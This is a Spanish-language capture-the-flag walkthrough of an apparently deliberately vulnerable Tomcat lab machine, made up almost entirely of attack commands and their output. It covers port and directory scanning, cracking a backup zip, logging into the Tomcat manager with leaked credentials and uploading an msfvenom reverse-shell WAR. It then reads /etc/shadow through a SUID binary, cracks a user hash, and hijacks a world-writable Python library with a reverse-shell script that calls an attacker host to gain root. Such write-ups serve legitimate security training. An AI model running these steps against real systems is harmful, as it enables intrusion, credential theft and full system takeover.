Escaneo de puertos

```
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>

nmap -sCV -p<PORTS> <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-09 06:41 EDT
Nmap scan report for 192.168.5.176
Host is up (0.00034s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 6a:d8:44:60:80:39:7e:f0:2d:08:2f:e5:83:63:f0:70 (RSA)
|   256 f2:a6:62:d7:e7:6a:94:be:7b:6b:a5:12:69:2e:fe:d7 (ECDSA)
|_  256 28:e1:0d:04:80:19:be:44:a6:48:73:aa:e8:6a:65:44 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open  http    Apache Tomcat 9.0.53
|_http-title: Apache Tomcat/9.0.53
|_http-favicon: Apache Tomcat
MAC Address: 00:0C:29:AA:39:7A (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.01 seconds
```

Gobuster

```
gobuster dir -u http://<IP>:8080/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.176:8080/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/[.txt                (Status: 400) [Size: 762]
/[                    (Status: 400) [Size: 762]
/[.html               (Status: 400) [Size: 762]
```

```
/]                    (Status: 400) [Size: 762]
/].txt                (Status: 400) [Size: 762]
/].php                (Status: 400) [Size: 762]
/].html               (Status: 400) [Size: 762]
/[.php                (Status: 400) [Size: 762]
/docs                 (Status: 200) [Size: 14906]
/examples             (Status: 200) [Size: 1126]
/favicon.ico          (Status: 200) [Size: 21630]
/plain].php           (Status: 400) [Size: 762]
/plain].html          (Status: 400) [Size: 762]
/plain]               (Status: 400) [Size: 762]
/plain].txt           (Status: 400) [Size: 762]
/quote].html          (Status: 400) [Size: 762]
/quote]               (Status: 400) [Size: 762]
/quote].php           (Status: 400) [Size: 762]
/quote].txt           (Status: 400) [Size: 762]
/readme.txt           (Status: 200) [Size: 153]
Progress: 81876 / 81880 (100.00%)
/manager              (Status: 401) [Size: 2499]
===============================================================
Finished
===============================================================
```

Vemos que hay un `/readme.txt` y si vemos su contenido veremos lo siguiente...

```
Hey randy! It's your System Administrator. I left you a file on the server, I'm sure
nobody will find it.
Also remember to use that password I gave you.
```

Vemos que nos da una pista de un usuario llamado `randy` que es administrador y por alguna parte de la pagina o de algun sitio estan las credenciales de la misma...

Nikto

```
nikto -h http://<IP>:8080
```

Info:

```
- Nikto v2.5.0
```

+ Target IP: 192.168.5.176
+ Target Hostname: 192.168.5.176
+ Target Port: 8080
+ Start Time: 2024-06-09 09:33:25 (GMT-4)

+ Server: No banner retrieved
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options

+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /backup.zip: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /favicon.ico: identifies this app/server as: Apache Tomcat (possibly 5.5.26 through 8.0.15), Alfresco Community. See: https://en.wikipedia.org/wiki/Favicon
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS .
+ HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ /examples/servlets/index.html: Apache Tomcat default JSP pages present.
+ /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2104
+ /readme.txt: This might be interesting.
+ /manager/html: Default Tomcat Manager / Host Manager interface found.
+ /host-manager/html: Default Tomcat Manager / Host Manager interface found.
+ /manager/status: Default Tomcat Server Status interface found.
+ /host-manager/status: Default Tomcat Server Status interface found.
+ 8253 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time: 2024-06-09 09:33:44 (GMT-4) (19 seconds)

+ 1 host(s) tested

```
Por lo que vemos nos descubre varias cosas, entre ellas un panel de login
``/manager/html`` y un archivo ``.zip`` bastante interesante, por lo que nos
descargaremos ese archivo ``.zip`` y veremos su contenido...
```

URL = http://<IP>:8080/backup.zip

```
Si intentamos descomprimirlo con ``unzip`` veremos que tiene contraseña, por lo que
haremos lo siguiente...

```shell
zip2john backup.zip > hash
```

Info:
```

```
ver 2.0 efh 5455 efh 7875 backup.zip/catalina.policy PKZIP Encr: TS_chk, cmplen=2911,
decmplen=13052, crc=AD0C6FDB ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/context.xml PKZIP Encr: TS_chk, cmplen=721,
decmplen=1400, crc=59B9F4E7 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/catalina.properties PKZIP Encr: TS_chk,
cmplen=2210, decmplen=7276, crc=1CD3C095 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/jaspic-providers.xml PKZIP Encr: TS_chk,
cmplen=626, decmplen=1149, crc=748A87A6 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/jaspic-providers.xsd PKZIP Encr: TS_chk,
cmplen=862, decmplen=2313, crc=3B44D150 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/logging.properties PKZIP Encr: TS_chk,
cmplen=1076, decmplen=4144, crc=1D6C26F7 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/server.xml PKZIP Encr: TS_chk, cmplen=2609,
decmplen=7589, crc=F91AC0C0 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/tomcat-users.xml PKZIP Encr: TS_chk,
cmplen=1167, decmplen=2972, crc=BDCB08B9 ts=B0E3 cs=b0e3 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/tomcat-users.xsd PKZIP Encr: TS_chk, cmplen=858,
decmplen=2558, crc=E8F588C2 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/web.xml PKZIP Encr: TS_chk, cmplen=18917,
decmplen=172359, crc=B8AF6070 ts=6920 cs=6920 type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
```

Se nos generara un archivo `hash` codificado, por lo que lo tendremos que crackear...

Contenido del hash

```
backup.zip:$pkzip$8*1*1*0*8*24*6920*948f83df8e3188341e0c4ced81b85ffe507a30f1c8bb3d60d
228d81ba45b3044c40d51f4*1*0*8*24*6920*6af6b41285729172215c7a912286e6312228c5142b6e537
384c0ad6b9a6e40b2de98422e*1*0*8*24*6920*d042ed9f0787c684de489fd42ddd00403556c0caaeeab
ff6ca78e998731732959a1a7adf*1*0*8*24*6920*034f00f26675d81f70f7de491b1c645f15032c9ab52
aa2c6157156996a72a9a6a138c8e6*1*0*8*24*b0e3*9f16689c61f4dc5fb5405d409a9c4814354c0dba9
19313e1903a9580daa135342c46fea3*1*0*8*24*6920*7046a2cc2a19fdf9e44c52bdd3b1a9d458ca7e7
51d2ec883c4d808c79087fb2606344d59*1*0*8*24*6920*6ae99725253d7986459879f818798e0fe14dd
1a533635704c24831f0acbceab71f99b284*2*0*272*47d*748a87a6*17dd*4e*8*272*6920*502768ce9
a11db8105560cdc8ea3b12cb91e5fa10d15b79fdc5335826c2f4a6e4112818ff5cce6e766548eef59eafa
bd29a2c2de3308487c980603b3867bb62bb60e65451a1fd9bb068ff01a4c2e98a8bbb56dd0f392338b147
324bbd34ab2e63d2b80882029705f3803ead22980591ea52cab28fad58ad94838283fd7e267478f9a3e7f
645f60ca4d0a227cef99c3db46184f8521dc4dd30f4102ad006dd04a7d054a9018f55730511ccd34bd15a
50ebbd1012d4ba320b23fa925ede6d62e3929c137b959813290f0bf0e2a9ca075d1b6b511fb525a5289c3
2d29365132e25432f855f982f37e4a5fde6901e8f889218d987067920133a4b26ceecc5f3d28f40cb3360
1cff6f803b0eb900a183ef9e13d7e888fc9770fdb9d01ced0c6969f5df03fdce418da1d979220b430bee9
dc21fa63f33b2c1f7b99f848ca5b618d0b6d6eb56ec3748595f1ca1c01492d6464fd1cf73ecd92b6bea1b
ccc9b8795b1d6087e9205b8e6c5122f83e3625c145b563e1763578d002e0feea455a19d74831c64f69440
a3cbcb7b679f683c238984873b7a80df997f11e5d924fe98d1baef30bfce5efb613e82eab136e3844b0e3
26508b1dac80b2f863b35efdbfa95138d9994699da813c8bb8bc4e7c885b851db53f85d8f1d39f32dfda3
6477a64821ea03e444866882c6b64d446feb650780e26fab3701fd0743ac26cacefde996ccfe538776ea1
01c1d3aec81660613bd65eb34569139ee0845e7f7d1e8b12f8ed43ef58e9580c58ab2cfe170981c72256b
4b12cc152771546d0ea9077d368c3ddc2c63819b00b3dd3581ab8908561cd8ad722c21d9a891922d8b524
44f4fca9278a1a96e926cf19125ec20a327e8a3ab0aa2b05d4348*$/pkzip$::backup.zip:jaspic-
providers.xml, context.xml, tomcat-users.xsd, jaspic-providers.xsd,
logging.properties, tomcat-users.xml, catalina.properties, server.xml:backup.zip

john --wordlist=<WORDLIST> hash
```

Info:

```
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
@administrator_hi5 (backup.zip)
1g 0:00:00:00 DONE (2024-06-09 09:42) 1.030g/s 11857Kp/s 11857Kc/s 11857KC/s
@lexutz..9StephiOlarte
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Nos saca la `password` para descomprimir el `.zip`...

```
unzip backup.zip
```

Y cuando metemos la `password` llamada `@administrator_hi5` nos descomprimira todo el contenido...

Si leemos el archivo llamado `tomcat-users.xml` veremos lo siguiente bastante interesante...

```
<role rolename="manager-gui"/>
<user username="manager" password="melehifokivai" roles="manager-gui"/>

<role rolename="admin-gui"/>
<user username="admin" password="melehifokivai" roles="admin-gui, manager-gui"/>
</tomcat-users>
```

Por lo que si nos vamos a la `URL`...

```
URL = http://<IP>:8080/manager/html
```

Nos saltara un panel de login y si metemos las credenciales que hemos descubierto de `manager` nos logeara como administradores...

> Credentials

```
User = manager
Password = melehifokivai
```

Una vez dentro haremos una `Reverse Shell` de la siguiente manera...

Desde nuestro `host` creamos un archivo malicioso con el formato que admite `tomcat` `.war` para luego subirlo y ejecutarlo...

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war -o reverse.war
```

Una vez creado este archivo lo subimos desde el panel del `tomcat` y lo ejecutamos entrando dentro del mismo estando a la escucha...

```
nc -lvnp <PORT>
```

Hecho esto estariamos dentro con una shell rara, por lo que la sanitizamos...

```
/bin/bash

script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
```

```
reset xterm
export TERM=xterm

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
```

Si nos vamos a la `/home` de `randy` veremos la primera flag...

> user.txt (flag1)

```
ca73a018ae6908a7d0ea5d1c269ba4b6
```

Vemos que hay un `note.txt` que contiene lo siguiente...

```
Hey randy this is your system administrator, hope your having a great day! I just
wanted to let you know
that I changed your permissions for your home directory. You won't be able to remove
or add files for now.

I will change these permissions later on.

See you next Monday randy!
```

Si probamos a reutilizar la contraseña con el usuario `jaye` nos cambiaremos a ese usuario, por lo que...

```
User = jaye
Password = melehifokivai
```

Si hacemos lo siguiente...

```
find / -type f -perm -4000 -ls 2>/dev/null
```

Veremos una linea interesante...

```
264044     16 ---s--s--x   1 root     root               14728 Sep 17  2021
/home/jaye/Files/look
```

Y si vamos a `GTFOBins` veremos que se puede explotar pudiendo leer cualquier archivo...

URL = https://gtfobins.github.io/gtfobins/look/

Por lo que podremos leer la flag de `root`...

```
LFILE=/root/root.txt
./look '' "$LFILE"
```

> root.txt (flag2)

```
2fdbf8d4f894292361d6c72c8e833a4b
```

Pero si queremos ser `root` haremos lo siguiente...

Miraremos el `/etc/shadow`...

```
LFILE=/etc/shadow
./look '' "$LFILE"
```

Info:

```
root:$6$fHvHhNo5DWsYxgt0$.3upyGTbu9RjpoCkHfW.1F9mq5dxjwcqeZl0KnwEr0vXXzi7Tld2lAeYeIio
/9BFPjUCyaBeLgVH1yK.5OR57.:18888:0:99999:7:::
daemon:*:18858:0:99999:7:::
bin:*:18858:0:99999:7:::
sys:*:18858:0:99999:7:::
sync:*:18858:0:99999:7:::
games:*:18858:0:99999:7:::
man:*:18858:0:99999:7:::
lp:*:18858:0:99999:7:::
mail:*:18858:0:99999:7:::
news:*:18858:0:99999:7:::
uucp:*:18858:0:99999:7:::
proxy:*:18858:0:99999:7:::
backup:*:18858:0:99999:7:::
list:*:18858:0:99999:7:::
irc:*:18858:0:99999:7:::
gnats:*:18858:0:99999:7:::
nobody:*:18858:0:99999:7:::
systemd-network:*:18858:0:99999:7:::
systemd-resolve:*:18858:0:99999:7:::
systemd-timesync:*:18858:0:99999:7:::
messagebus:*:18858:0:99999:7:::
syslog:*:18858:0:99999:7:::
_apt:*:18858:0:99999:7:::
tss:*:18858:0:99999:7:::
uuidd:*:18858:0:99999:7:::
tcpdump:*:18858:0:99999:7:::
avahi-autoipd:*:18858:0:99999:7:::
usbmux:*:18858:0:99999:7:::
rtkit:*:18858:0:99999:7:::
dnsmasq:*:18858:0:99999:7:::
cups-pk-helper:*:18858:0:99999:7:::
speech-dispatcher:!:18858:0:99999:7:::
avahi:*:18858:0:99999:7:::
kernoops:*:18858:0:99999:7:::
saned:*:18858:0:99999:7:::
nm-openvpn:*:18858:0:99999:7:::
hplip:*:18858:0:99999:7:::
whoopsie:*:18858:0:99999:7:::
colord:*:18858:0:99999:7:::
geoclue:*:18858:0:99999:7:::
pulse:*:18858:0:99999:7:::
gnome-initial-setup:*:18858:0:99999:7:::
gdm:*:18858:0:99999:7:::
sssd:*:18858:0:99999:7:::
randy:$6$bQ8rY/73PoUA4lFX$i/aKxdkuh5hF8D78k50BZ4eInDWklwQgmmpakv/gsuzTodngjB340R1wXQ8
qWhY2cyMwi.61HJ36qXGvFHJGY/:18888:0:99999:7:::
systemd-coredump:!!:18886::::::
tomcat:$6$XD2Bs.tL01.5OT2b$.uXUR3ysfujHGaz1YKj1l9XUOMhHcKDPXYLTexsWbDWqIO9ML40CQZPI04
ebbYzVNBFmgv3Mpd3.8znPfrBNC1:18888:0:99999:7:::
sshd:*:18887:0:99999:7:::
jaye:$6$ChqrqtdU/B1J3gV$YjeAWKM.usyi/JxpfwYA6ybW/szqkiI1kerC4/JJNMpDUYKavQbnZeUh4WL/
fB/4vrzX0LvKVWu60dq4SOQZB0:18887:0:99999:7:::
```

Y cogeremos la `password` de `randy` para crackearla con el `john`...

```
john --wordlist=<WORDLIST> <HASH_FILE>
```

Info:

```
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
07051986randy    (randy)
1g 0:00:48:57 DONE (2024-06-09 13:28) 0.000340g/s 4742p/s 4742c/s 4742C/s
070552898..070488m
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Por lo que vemos obtuvimos las credenciales...

```
User = randy
Password = 07051986randy

ssh randy@<IP>
```

Hecho esto ya estaremos dentro con el usuario `randy`, por lo que si hacemos `sudo -l` veremos lo siguiente...

```
Matching Defaults entries for randy on corrosion:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User randy may run the following commands on corrosion:
    (root) PASSWD: /usr/bin/python3.8 /home/randy/randombase64.py
```

Si leemos lo que hace ese script...

```
import base64

message = input("Enter your string: ")
message_bytes = message.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode('ascii')

print(base64_message)
```

Vemos que codifica lo que le pongas a `Base64`, pero tambien vemos que importa un `Base64` que parece sospechoso...

```
find / -name 'base64.py' 2>/dev/null
```

Info:

```
/snap/core18/2128/usr/lib/python3.6/base64.py
/snap/core18/2823/usr/lib/python3.6/base64.py
/snap/gnome-3-34-1804/93/usr/lib/python2.7/base64.py
/snap/gnome-3-34-1804/93/usr/lib/python3.6/base64.py
/snap/gnome-3-34-1804/72/usr/lib/python2.7/base64.py
```

```
/snap/gnome-3-34-1804/72/usr/lib/python3.6/base64.py
/usr/lib/python3.8/base64.py
```

Vemos la siguiente linea muy sospechosa...

```
/usr/lib/python3.8/base64.py
```

Si leemos los permisos que tiene...

```
-rwxrwxrwx 1 root root 689 Jun  9 10:53 /usr/lib/python3.8/base64.py
```

Vemos que podemos editarlo, por lo que si editamos esto con una `Reverse Shell` y al ejecutarlo como `root` importara este `.py` y nos creara la `Reverse Shell` por lo que borramos el contenido de ese `.py`...

Vamos a crear un archivo que borre su interior...

```
nano rm.py

#Contenido del nano
with open('/usr/lib/python3.8/base64.py', 'w') as f:
    f.write('')

chmod +x rm.py

python3 /tmp/rm.py
```

Una vez hecho esto ya estara vacio, por lo que ponemos una `Reverse Shell`...

```
nano /usr/lib/python3.8/base64.py

#Contenido del nano
import socket
import subprocess

# Definir la dirección IP y el puerto del atacante
HOST = '<IP>'
PORT = <PORT>

# Crear un socket TCP/IP
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Conectar el socket al servidor
s.connect((HOST, PORT))

# Bucle para recibir comandos y enviar resultados
while True:
    # Recibir el comando del servidor
    command = s.recv(1024)

    # Ejecutar el comando y capturar la salida
    output = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
    result = output.stdout.read() + output.stderr.read()

    # Enviar el resultado al servidor
    s.send(result)
```

```
# Cerrar la conexión
s.close()
```

Una vez hecho esto, haremos lo siguiente...

Estaremos a la escucha antes...

```
nc -lvnp <PORT>
```

Despues lo ejecutamos...

```
sudo /usr/bin/python3.8 /home/randy/randombase64.py
```

Y nos habria creado una shell un poco mala pero autenticados como `root` por lo que dentro de esa shell para mejorarla haremos lo siguiente...

```
chmod u+s /bin/bash
```

Y si nos salimos de esa shell y volvemos a nuestro usuario `randy` hacemos lo siguiente ya que otorgamos con `root` `SUID` a la `bash`...

```
bash -p
```

Y ya seriamos `root`, por lo que podremos leer la flag...